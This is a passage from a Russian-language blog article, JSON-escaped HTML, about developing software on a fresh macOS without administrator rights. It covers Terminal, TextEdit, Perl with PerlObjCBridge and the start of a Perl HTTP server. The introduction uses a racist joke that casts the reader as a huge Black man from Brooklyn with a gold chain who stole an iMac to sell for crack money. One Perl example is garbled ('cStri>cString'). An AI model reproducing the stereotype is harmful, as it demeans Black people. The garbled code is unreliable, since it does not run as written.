\u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e\u0434 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Apple.<\/figcaption><\/div>\n<\/figure>\n<h3>\u0422\u0430\u0439\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432<\/h3>\n<p>Apple \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043b\u044e\u0431\u0438\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u043c\u044f\u0433\u043a\u043e \u0433\u043e\u0432\u043e\u0440\u044f \u043d\u0435 \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437\u044b\u0441\u043a\u0430\u043d\u0438\u044f \u0432 \u043d\u0438\u0445, \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0438 \u0431\u0435\u0437. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0443\u0436\u0435\u00a0\u0431\u044b\u043b\u0430 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Darwin_(operating_system)\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f<\/a> \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u044f\u0434\u0440\u0430 (\u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f), \u00abuserland\u00bb\u00a0\u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u044b\u043b \u0438\u00a0\u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f <strong>\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c<\/strong>. <\/p>\n<p>\u041a\u043d\u0438\u0433 \u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u043f\u043e\u00a0\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u043a\u0430\u043a \u00ab\u0431\u043e\u043b\u044c\u0448\u043e\u0439\u00bb MacOS \u0442\u0430\u043a \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0439 iOS \u043e\u0442\u043a\u0440\u043e\u0432\u0435\u043d\u043d\u043e \u043c\u0430\u043b\u043e, \u0430\u00a0\u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0442\u0430\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0441\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 <s>\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u00ab\u041f\u043e\u043b\u0435 \u0447\u0443\u0434\u0435\u0441\u00bb<\/s> \u0440\u0435\u0430\u043b\u0438\u0438 Microsoft Windows \u0432\u0440\u0435\u043c\u0435\u043d 90\u0445: <\/p>\n<blockquote>\n<p>\u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0434\u043e\u043c\u044b\u0441\u043b\u044b, \u043c\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0433\u0430\u0434\u043a\u0438.<\/p>\n<\/blockquote>\n<p>\u0420\u0430\u0437\u0432\u0435 \u0447\u0442\u043e \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0438\u0442\u0443\u0430\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442. <\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0433\u0438\u0445 \u043b\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f MacOS, \u0430\u00a0\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432\u00a0\u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0435 \u00ab\u0433\u0443\u0433\u043b\u0438\u0442\u0441\u044f\u00bb \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u0430\u043b\u043e \u0430\u0444\u0438\u0448\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0435.<\/p>\n<h3>\u0427\u0442\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0434\u0435\u043b\u0430\u0442\u044c<\/h3>\n<p>\u041d\u0438\u0436\u0435 \u044f\u00a0\u043f\u043e\u043a\u0430\u0436\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u044e\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u041f\u041e \u043d\u0430\u00a0\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0447\u0438\u0441\u0442\u043e\u0439 <em>\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439<\/em> MacOS, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0438\u00a0<strong>\u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0443\u0436\u043d\u044b \u0432 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u0431\u043e\u043b\u0435\u0435-\u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e: <\/p>\n<blockquote>\n<p>\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u041e\u0421, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u041f\u041e, \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u00a0\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c \u0438 \u0434\u0430\u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u0432\u0440\u043e\u0434\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u044d\u043a\u0440\u0430\u043d\u0430. <\/p>\n<\/blockquote>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0447\u0442\u043e\u00a0\u0432\u044b\u00a0\u2014 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043d\u0435\u0433\u0440 \u0441\u00a0\u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u0446\u0435\u043f\u044c\u044e \u0438\u0437\u00a0\u0411\u0440\u0443\u043a\u043b\u0438\u043d\u0430 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e\u00a0\u043e\u0442\u0436\u0430\u043b\u0438 \u043d\u043e\u0432\u0435\u043d\u044c\u043a\u0438\u0439 iMac \u0443\u00a0\u043a\u0430\u043a\u043e\u0433\u043e\u2011\u0442\u043e \u0431\u043e\u0442\u0430\u043d\u0430. \u0414\u043e\u0441\u0442\u0443\u043f \u043d\u0430\u00a0\u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0442\u043e\u043b \u0435\u0441\u0442\u044c (\u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439), \u043d\u043e\u00a0\u043f\u0430\u0440\u043e\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b \u043d\u0435\u00a0\u0437\u043d\u0430\u0435\u0442\u0435. \u041d\u043e\u00a0\u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0442\u043e\u043b\u043a\u0430\u0442\u044c \u043f\u0430\u043b\u044c \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c\u0443 \u0441\u043a\u0443\u043f\u0449\u0438\u043a\u0443 \u0440\u0430\u0434\u0438 \u0434\u0435\u043d\u0435\u0433 \u043d\u0430\u00a0\u043a\u0440\u044d\u043a, \u0432\u044b \u0432\u0434\u0440\u0443\u0433 \u0440\u0435\u0448\u0438\u043b\u0438 \u0437\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u041f\u041e\u00a0\u043f\u043e\u0434\u00a0MacOS.<\/p>\n<blockquote>\n<p>\u0421 \u043a\u0435\u043c \u043d\u0435 \u0431\u044b\u0432\u0430\u0435\u0442.<\/p>\n<\/blockquote>\n<p>\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043d\u0435\u00a0\u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043f\u043e\u0442\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0435\u043a \u043f\u0440\u043e\u00a0\u0432\u0430\u0448\u0443 \u043d\u0435\u043b\u0435\u0433\u043a\u0443\u044e \u0436\u0438\u0437\u043d\u044c \u0438 \u00ab\u0432\u043a\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u00a0\u0418\u0422\u00bb \u0441\u0442\u043e\u043b\u044c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c.<\/p>\n<p>(PR\u2011\u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0440\u043e\u0441\u0438\u043b \u043a\u0435\u0439\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\u00a0\u2014 \u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b) <\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u041d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f MacOS Sonoma, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.<\/figcaption><\/div>\n<\/figure>\n<h3>\u0414\u0435\u0432\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430<\/h3>\n<p>\u0420\u0430\u0434\u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438\u00a0\u0431\u044b\u043b\u0430 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u0430 \u0447\u0438\u0441\u0442\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u00abMacOS Sonoma\u00bb \u0432\u00a0\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435, \u0441\u00a0\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u043f\u0440\u0438\u00a0\u043f\u043e\u043a\u0443\u043f\u043a\u0435 \u0441\u0432\u0435\u0436\u0435\u0433\u043e iMac \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u00a0\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0435 Apple <s>\u0432 NY<\/s>.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u0440\u0430\u0442\u043a\u043e \u043f\u0440\u043e\u0439\u0434\u0443\u0441\u044c \u043f\u043e\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c MacOS \u0438\u00a0\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u00a0\u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u00ab\u0438\u0437\u00a0\u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb. \u041d\u0430\u0447\u043d\u0435\u043c \u0441\u00a0\u0434\u0432\u0443\u0445 \u0441\u0430\u043c\u044b\u0445 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0438\u00a0\u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430.<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Launchpad, \u043f\u0443\u0442\u0435\u043c \u0432\u0432\u043e\u0434\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439 \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0438\u0441\u043a\u0430. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u0435 <em>terminal<\/em>, \u0434\u043b\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 <em>edit<\/em>.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0418 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 (c \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0432\u0438\u0434\u0430 \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442):<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>MacOS \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 Unix, \u0432\u00a0\u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u044b\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b: bash, grep, ps, top, pwd, uname \u0438\u00a0\u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435\u00a0\u2014 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442\u00a0\u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 Ubuntu \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b, \u0435\u0441\u043b\u0438 \u043d\u0435 \u043d\u0430\u0447\u0430\u0442\u044c \u0443\u0433\u043b\u0443\u0431\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u0438.<\/p>\n<p>\u041d\u043e \u043a\u00a0\u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0432\u00a0\u0447\u0438\u0441\u0442\u043e\u0439 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u00a0\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441\u0442\u043e\u044f\u0442 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438, \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0434\u0430\u0435\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e \u0434\u0430\u0436\u0435 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 MacOS \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u0432\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432: <a href=\"https:\/\/www.perl.org\/\" rel=\"noopener noreferrer nofollow\">Perl<\/a> \u0438 <a href=\"https:\/\/www.tcl-lang.org\/\" rel=\"noopener noreferrer nofollow\">Tcl<\/a>. <\/p>\n<p>\u0418 \u043a\u043e\u0435-\u0447\u0442\u043e \u0435\u0449\u0435, \u043a\u0443\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u043c\u043e\u0449\u043d\u043e\u0435.<\/p>\n<h3>Perl<\/h3>\n<p>\u041e\u043e\u0447\u0435\u043d\u044c \u043c\u043e\u0449\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430, \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0435 \u043e\u0440\u0443\u0436\u0438\u0435 \u0432\u00a0\u0443\u043c\u0435\u043b\u044b\u0445 \u0440\u0443\u043a\u0430\u0445 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0432\u00a0\u043b\u044e\u0431\u043e\u0439 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u00a0\u043f\u0435\u0440\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. <\/p>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0430\u044f \u0434\u043e\u0431\u0440\u0430\u044f 5\u044f \u0432\u0435\u0440\u0441\u0438\u044f (\u0434\u0430 \u044d\u0442\u043e \u0448\u0443\u0442\u043a\u0430 \u0434\u043b\u044f \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0445): <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432\u00a0MacOS Perl \u043d\u0435\u00a0\u0441\u043e\u0432\u0441\u0435\u043c \u043e\u0431\u044b\u0447\u043d\u044b\u0439\u00a0\u2014 \u0432\u00a0\u043d\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043c\u043e\u0434\u0443\u043b\u0438 Foundation \u0438 <a href=\"https:\/\/www.manpagez.com\/man\/3\/PerlObjCBridge\/\" rel=\"noopener noreferrer nofollow\">PerlObjCBridge<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441\u00a0\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0430\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Objective-C\" rel=\"noopener noreferrer nofollow\">Objective\u2011C<\/a> \u0438 API \u0441\u0430\u043c\u043e\u0439 MacOS \u0438\u0437 <em>\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430\u00a0Perl<\/em>. <\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435: <\/p>\n<blockquote>\n<p>\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430\u00a0Objective-C \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u00a0\u2014 <a href=\"https:\/\/developer.apple.com\/library\/archive\/documentation\/Cocoa\/Conceptual\/ObjectiveC\/Chapters\/ocObjectsClasses.html\" rel=\"noopener noreferrer nofollow\">\u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/a>.<\/p>\n<\/blockquote>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u044f\u043c \u0443\u00a0\u0432\u0430\u0441 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043b\u0435\u0437\u0442\u044c \u043d\u0430\u00a0\u044d\u0442\u043e\u0442 \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a \u0436\u0438\u0437\u043d\u0438 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430 Perl.<\/p>\n<p>\u0414\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl  use Foundation;      $s1 = NSString-&gt;stringWithCString_(\"Hello \"); $s2 = NSString-&gt;alloc()-&gt;initWithCString_(\"World\"); $s3 = $s1-&gt;stringByAppendingString_($s2); printf \"%s\\n\", $s3-&gt;cStri&gt;cString();<\/code><\/pre>\n<p>\u0410 \u0432\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl use Foundation; $hostName = NSProcessInfo-&gt;processInfo()-&gt;hostName();  printf \"%s\\n\", $hostName-&gt;cString();<\/code><\/pre>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0432 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c:<\/p>\n<blockquote>\n<p>This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.<\/p>\n<\/blockquote>\n<p>\u0417\u0430\u0442\u043e \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0443\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439<a href=\"https:\/\/stackoverflow.com\/questions\/14425220\/perl-http-server#14440365\" rel=\"noopener noreferrer nofollow\"> \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440<\/a>:<\/p>\n<pre><code class=\"perl\">#!\/usr\/bin\/perl  use strict; use warnings;  use CGI qw\/ :standard \/; use Data::Dumper; use HTTP::Daemon; use HTTP::Response; use HTTP::Status; use POSIX qw\/ WNOHANG \/;  use constant HOSTNAME =&gt; qx{hostname};  my %O = (     'listen-host' =&gt; '127.0.0.1',     'listen-port' =&gt; 8080,     'listen-clients' 